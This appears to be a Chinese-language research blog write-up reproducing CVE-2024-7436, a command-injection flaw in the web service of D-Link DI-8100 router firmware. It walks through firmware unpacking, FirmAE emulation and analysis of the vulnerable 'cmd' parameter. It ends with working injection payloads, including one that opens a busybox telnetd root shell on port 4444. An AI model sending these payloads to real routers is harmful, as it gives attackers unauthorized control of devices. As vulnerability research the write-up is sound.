[[CVE]]
[固件下载](D-Link Technical Support](https://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100)
Ubuntu18
IDA9.1
binwalk
[[FirmAE]]
[[firmwalker]]

固件分析

固件解包

1
binwalk -Me DI_8100-16.07.26A1.zip

使用firmwalker进行扫描

1
./firmwalker.sh /home/blonet/下载/CVE-2024-7436/_DI_8100-16.07.26A1.zip.extracted/_DI_8100-16.07.26A1.trx.extracted/_8C.extracted/_3F8000.extracted/cpio-root

image.png
搜索与jhttp相关的文件

1
grep -ir "jhttpd"

image.png
分析sbin/rc
image.png
rc里起的jhttpd服务
image.png
系统启动过程中会执行名为 init 的程序,这边做了软连接,启动时就会启动rc程序

固件模拟

使用FirmAE进行模拟

1
sudo  ./run.sh -d dlink DI_8100-16.07.26A1.trx

image.png

漏洞分析

漏洞在于msp_info.htm 页面中 cmd参数造成命令执行
image.png
分析服务文件jhttpd
image.png
命令执行漏洞
image.png
访问页面显示错误:没有flag
image.png
flag内容是我们传入的,根据flag内容会执行不同的命令,flag=cmd的时候就是执行我们漏洞函数

我们使用bp获取访问msp_info.htm页面时的http请求包
image.png

image.png
添加flag内容进行发送,显示not cmd
image.png
成功进入

我们再尝试别的命令
image.png

使用ls显示no order,please help,jhttpd中没有此字符串内容,搜索对应的文件

1
grep -ir "no order,please help"

image.png
image.png
字符串在usr/sbin/wys中
image.png
说明sprintf(ad2, "wys %s > /tmp/msp.info 2>&1", parm_2);实际上执行了
其中wys程序,发现他是一个类似busybox的程序
image.png
使用cmd=|busybox%20ls有正确回显

使用FirmAE的shell查看busybox工具箱中有那些内容可以使用
image.png
其中可以通过telnetd,来进行反弹shell
我们先测试,在FirmAE的shell使用telnetd是否可以完成反弹shell的操作

1
2
busybox telnetd -l /bin/sh -p 4444
telnet 192.168.0.1 4444

image.png
成功

现在我们只需要将cmd=/bin/busybox telnetd -l /bin/sh -p 4444传入即可